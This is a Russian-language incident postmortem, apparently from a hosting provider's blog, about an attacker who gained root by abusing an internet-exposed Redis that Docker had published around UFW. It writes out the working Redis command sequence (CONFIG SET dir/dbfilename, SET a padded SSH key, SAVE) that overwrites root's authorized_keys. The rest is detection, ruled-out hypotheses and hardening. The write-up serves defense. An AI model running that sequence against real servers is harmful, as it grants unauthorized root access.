Через открытый наружу Redis нам записали ключ в authorized_keys
В пятницу вечером мониторинг тихо сообщил о новом SSH-сеансе от root с незнакомого IP. Никто из команды в это время не деплоил и не заходил на сервер. Через час стало ясно: в authorized_keys root появился чужой публичный ключ, а попал он туда не через SSH и не через украденный пароль — его записал Redis, который был открыт наружу без единой проверки доступа. Это разбор того инцидента: что мы увидели, какие версии отбросили и как Redis, ни разу не будучи «взломанным» в привычном смысле, стал инструментом для записи произвольного файла на диске.
Содержание
Что мы увидели
Первый сигнал пришёл не от системы безопасности, а от обычного алерта Zabbix на аномальную нагрузку CPU — что-то на сервере грузило процессор на 90%+ без видимой причины в графиках приложения. Второй, более важный сигнал пришёл через пару минут: скрипт, который раз в 10 минут сверяет md5sum файла /root/.ssh/authorized_keys с эталоном в Git, поднял тревогу — контрольная сумма изменилась.
Зашли на сервер (благо, действующим ключом ещё получалось) и увидели:
tail -20 /var/log/auth.log | grep sshd
Sep 3 21:14:02 srv1 sshd[28841]: Accepted publickey for root from 185.220.xxx.xxx port 51244 ssh2: RSA SHA256:AbCdEf...
Sep 3 21:14:02 srv1 sshd[28841]: pam_unix(sshd:session): session opened for user root
IP не из наших офисных подсетей, не из VPN, не из CI. Ключ — не из нашего парка. При этом PasswordAuthentication no был выставлен ещё полгода назад, brute-force по паролю в принципе исключался. Кто-то зашёл по ключу, которого мы не выдавали.
Дальше — быстрый чек, что процесс майнинга или ботнета не запущен прямо сейчас:
ps aux --sort=-%cpu | head -10
ss -tnp | grep ESTAB
Нашли процесс kdevtmpfsi (классическое имя из семейства криптомайнеров, маскирующихся под системный процесс) с соединением на пул для добычи Monero. Его убили, но вопрос «как он сюда попал» остался открытым — и это был главный вопрос расследования.
Что нашли в логах и метриках
Первая зацепка — сам файл authorized_keys. Открыли его и увидели не просто добавленную строку, а испорченный по краям файл:
cat /root/.ssh/authorized_keys | head -c 300 | xxd | head -20
В начале и в конце файла были нечитаемые байты — что-то похожее на бинарный мусор, а между ними — вполне валидная строка ssh-rsa AAAAB3NzaC1yc2EA... attacker@kali. Это не выглядело как ручная правка через vim или echo >>. Файл целиком выглядел так, будто его переписали одной операцией записи, а не дописали построчно.
Второй момент — время. Аномальный SSH-логин случился в 21:14:02. Посмотрели сетевые логи (у нас включён conntrack-логгинг на периметре) на предмет входящих подключений в интервале 21:10–21:14:
grep "21:1[0-4]" /var/log/netflow/*.log | grep "DPT=6379"
И вот она, зацепка: за три минуты до появления SSH-ключа с того же самого IP 185.220.xxx.xxx было открыто TCP-соединение на порт 6379 — это порт Redis. Причём порт 6379 в выводе ufw status числился как DENY — то есть по логике файрвола наружу быть открытым не должен был.
Проверили, слушает ли Redis вообще на внешнем интерфейсе:
ss -tlnp | grep 6379
LISTEN 0 511 0.0.0.0:6379 0.0.0.0:* users:(("docker-proxy",pid=1122,fd=4))
0.0.0.0:6379, и слушает не сам redis-server, а docker-proxy. Это уже совсем другая история, чем «забыли пароль в конфиге» — Redis был поднят в контейнере с публикацией порта наружу, и правило UFW на него попросту не действовало.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверКакие версии отбросили
Прежде чем сузиться до правильного объяснения, проверили и отмели несколько других гипотез — потому что при инциденте с непонятным SSH-логином первая мысль почти всегда про сам SSH, а не про соседний сервис.
- Утечка приватного ключа с ноутбука инженера. Проверили историю коммитов в дотфайлах, спросили у всех троих, кто имеет root-доступ — ключи на месте, у всех разные fingerprint'ы, ни один не совпадает с тем, что залогирован. Отбросили.
- Подбор пароля по SSH.
PasswordAuthentication noвsshd_configбыл выставлен давно,grepпоauth.logне показывает ни одной попытки password-аутентификации за последние месяцы — они бы просто отклонялись на уровне протокола. Отбросили. - Фишинг и кража сессии у сотрудника. Проверили почтовые логи и историю входов в корпоративные сервисы (Google Workspace) — ничего необычного, входов с новых устройств не было. Отбросили.
- Компрометация через CI/CD или supply chain. Посмотрели, не менялся ли
Dockerfileили зависимости в последнем деплое — последний деплой был на два дня раньше инцидента, диффов, добавляющих подозрительный код, не было. Отбросили. - Уязвимость в самом sshd. Версия OpenSSH актуальная, автообновления безопасности включены и настроены штатно. Отбросили, потому что путь входа объяснялся куда проще.
Когда все «внутренние» версии отпали, осталось единственное совпадение по времени — коннект на 6379 за три минуты до появления ключа. Дальше расследование ушло в сторону Redis.
Как Redis превращается в инструмент записи файлов
Здесь важно понять механику, потому что снаружи это не похоже на «взлом» в привычном смысле — никакого экслойта нулевого дня, никакой уязвимости в коде. Используется штатная функциональность Redis, которая при отсутствии аутентификации превращается в примитив произвольной записи на диск.
Мы воспроизвели атаку на тестовом стенде, чтобы понять, что именно видел атакующий и что именно происходило на проде. Смысл в четырёх командах через redis-cli:
redis-cli -h <ip_жертвы>
# 1. Узнаём текущую директорию для дампов
CONFIG GET dir
# 1) "dir"
# 2) "/var/lib/redis"
# 2. Переключаем директорию на .ssh нужного пользователя
CONFIG SET dir /root/.ssh/
# 3. Переключаем имя файла дампа на authorized_keys
CONFIG SET dbfilename authorized_keys
# 4. Кладём в базу один ключ со значением — валидной строкой SSH-ключа,
# обёрнутой переводами строк, чтобы отрезать мусор RDB-заголовка
SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@kali\n\n"
# 5. Сохраняем дамп — Redis пишет RDB-файл по пути dir/dbfilename
SAVE
После SAVE Redis честно пишет бинарный RDB-дамп в файл /root/.ssh/authorized_keys. Формат RDB — бинарный, но sshd при чтении authorized_keys построчно пропускает нераспознанные и битые строки и обрабатывает только те, что похожи на валидный публичный ключ. Так что мусорные байты RDB-заголовка сервер молча игнорирует, а строка со значением ключа x, которую мы туда положили, парсится как нормальный authorized_keys-entry. Дальше атакующему достаточно подключиться приватным ключом от той же пары — и он root на сервере без единого пароля.
Это давно и хорошо задокументированная техника — сама команда SAVE и произвольные CONFIG SET dir/dbfilename без аутентификации это позволяют. У нас в конфиге не было ни requirepass, ни ограничения опасных команд, ни protected-mode, и главное — порт торчал наружу.
Как порт оказался открытым, хотя UFW его блокировал
Самое неприятное в разборе — не сама техника атаки (она известна давно), а то, почему ufw status показывал 6379/tcp DENY, а порт при этом был доступен из интернета. Причина оказалась в том, как Docker управляет iptables.
Redis был поднят так:
docker run -d --name redis-cache -p 6379:6379 redis:7
Флаг -p 6379:6379 заставляет Docker создать правило NAT в цепочке DOCKER, а также правило ACCEPT в цепочке DOCKER-USER/FORWARD — то есть трафик на этот порт обрабатывается на уровне FORWARD, до того, как до него доходит очередь INPUT-правил UFW. UFW фильтрует именно INPUT, поэтому его DENY 6379 попросту не участвовал в судьбе пакетов, летящих в опубликованный докер-контейнер. Проверить это можно так:
iptables -t nat -L DOCKER -n --line-numbers
iptables -L DOCKER-USER -n --line-numbers
В выводе видно ACCEPT для tcp dpt:6379 независимо от правил UFW. Мы разбирали этот же механизм отдельно в статье «Docker переписал iptables и открыл базу в интернет» — там похожий сюжет с другой базой данных, и это оказалась не редкая случайность, а системная грабля, в которую наступают многие, кто ставит UFW «для галочки» поверх Docker-хоста.
Redis подняли неделей раньше как быстрый кеш для очереди фоновых задач, микросервис, которому был нужен доступ, сидел на соседнем сервере, и «проще» показалось опубликовать порт наружу, чем поднимать приватную сеть между хостами. Планировали закрыть доступ на файрволе облачного провайдера следующим спринтом — не успели.
Что изменили сразу
Первым делом — закрыли дыру и убедились, что она не открыта где-то ещё:
# остановили контейнер с публикацией порта наружу
docker stop redis-cache
docker rm redis-cache
# подняли заново, но с биндом только на loopback
docker run -d --name redis-cache -p 127.0.0.1:6379:6379 redis:7
Если доступ с другого сервера всё же нужен, порт не публикуется на 0.0.0.0 — вместо этого сервисы кладутся в общую приватную сеть (WireGuard между хостами или Docker overlay-сеть без внешней публикации), и уже внутри неё Redis слушает на приватном IP.
Дальше включили аутентификацию и базовое ограничение опасных команд в redis.conf:
bind 127.0.0.1 10.0.0.5
protected-mode yes
requirepass <длинный_случайный_пароль>
rename-command CONFIG ""
rename-command SAVE ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
Переименование CONFIG и SAVE в пустую строку отключает их полностью — это грубо, но для кеша без необходимости в рантайм-реконфигурации вполне рабочий вариант. Там, где CONFIG всё же нужен (например, для ACL), лучше не отключать команду, а завести отдельного пользователя через redis-cli ACL SETUSER с урезанным набором прав вместо requirepass.
Проверили весь парк серверов на предмет других открытых наружу сервисов:
nmap -p- --open -T4 <ip_сервера>
и на паре других хостов нашли тот же паттерн — Postgres и Elasticsearch, поднятые в Docker с -p без адреса, то есть тоже слушающие 0.0.0.0. Закрыли по той же схеме. О том, как системно проверять и закрывать открытые порты, у нас есть отдельный разбор — «Открытые порты на сервере: как проверить и закрыть».
Ключ атакующего из authorized_keys удалили, но этого недостаточно — сгенерировали новую пару ключей для root, полностью заменили файл, отозвали старую пару на всех серверах, где она была прописана, и в довершение отключили прямой SSH-доступ под root:
PermitRootLogin no
Администрирование перевели на именной пользователь с sudo и ключевой аутентификацией — подробно о переходе с пароля на ключи у нас есть отдельная статья «SSH-ключи вместо пароля на сервере: частые ошибки и решения».
Что изменили в процессах
Сама по себе техническая правка закрывает конкретную дыру, но не гарантирует, что через месяц кто-то не поднимет новый сервис тем же способом под дедлайном. Поэтому изменили процесс:
- В чек-лист публикации нового сервиса добавили обязательный пункт: «любой
-pв Docker с портом наружу требует ревью второго инженера и объяснения, зачем порт должен быть виден снаружи хоста». По умолчанию — только127.0.0.1:<port>:<port>или приватная сеть. - Завели еженедельный автоматический скан портов на всех серверах (
nmapиз отдельной ноды мониторинга) с алертом в Telegram, если появился новый открытый порт, которого не было в предыдущем скане. - Добавили в мониторинг проверку контрольной суммы
authorized_keysна всех серверах, а не только на том, где случился инцидент — тот скрипт, который поймал инцидент в первый раз, до этого стоял выборочно на трёх машинах из пятнадцати. - Провели ревизию всех Redis, Memcached, MongoDB и Elasticsearch инстансов на предмет
requirepass/аутентификации — исторически кеши и очереди чаще всего остаются «временным решением без пароля, потом настрою». - Обновили общий чек-лист безопасности нового сервера — весь список пунктов, который теперь проходит каждый новый хост перед вводом в прод, собран в статье «Чек-лист безопасности нового сервера».
Отдельно завели правило по firewall облачного провайдера (security group) как второй, независимый от UFW слой: даже если на хосте что-то пойдёт не так с iptables, группа безопасности на уровне гипервизора не пропустит трафик на 6379 снаружи приватных подсетей. Это тот самый принцип defense in depth — не полагаться на единственный слой защиты, особенно когда этот слой (UFW) физически не видит трафик, идущий в обход через Docker.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверНужны сами нейросети для контента?
Генерируйте изображения, видео и озвучку нейросетями на falapi.io — десятки моделей в одном окне. Оплата картой РФ и по СБП.
Частые вопросы
Почему UFW не заблокировал порт, если в правилах стоял DENY?
Потому что Docker при публикации порта (-p) добавляет собственные правила в цепочки DOCKER и DOCKER-USER/FORWARD, и трафик к опубликованному порту контейнера обрабатывается там, а не в цепочке INPUT, которую фильтрует UFW. Правила UFW для такого трафика попросту не участвуют в решении.
Достаточно ли поставить requirepass, чтобы закрыть эту уязвимость?
Это обязательный минимум, но не единственная мера. Пароль защищает от неавторизованного подключения, но если порт всё равно смотрит в интернет, он остаётся целью для перебора и DDoS. Правильная связка — приватная сеть/бинд на internal IP плюс аутентификация, а не что-то одно.
Можно ли было заметить атаку раньше, до появления SSH-ключа?
Да, если бы Redis логировал CONFIG SET/SAVE в общий syslog или если бы стоял мониторинг аномальных подключений на 6379 снаружи известных подсетей. После инцидента мы добавили именно такой алерт — новое TCP-соединение к Redis не из приватной сети и не из списка доверенных IP.
Помогло бы переименование порта Redis на нестандартный?
Не как основная защита. Сканеры вроде masscan и специализированные боты ищут Redis по протокольному отклику (INFO, PING), а не только по номеру порта 6379 — смена порта чуть снижает шум от автоматических сканов, но не заменяет аутентификацию и закрытый периметр. Похожий разбор мифа про смену порта есть применительно к SSH — логика та же.
Что делать, если поднять приватную сеть между серверами сейчас нельзя технически?
Минимально — биндить сервис на конкретный внешний IP только доверенного клиента через bind, включить requirepass/ACL и добавить правило в security group облака, разрешающее подключение только с IP клиента. Это не так хорошо, как полностью приватная сеть, но кардинально сокращает поверхность атаки по сравнению с открытым на весь интернет портом.
Обсудить статью, задать вопрос или начать новую тему
Есть вопрос по этой статье, идея для обсуждения или просто хотите поделиться опытом? Сообщество MAATRIX ждёт. Для общения, пожалуйста, зарегистрируйтесь в нашем личном кабинете.
Перейти в сообщество →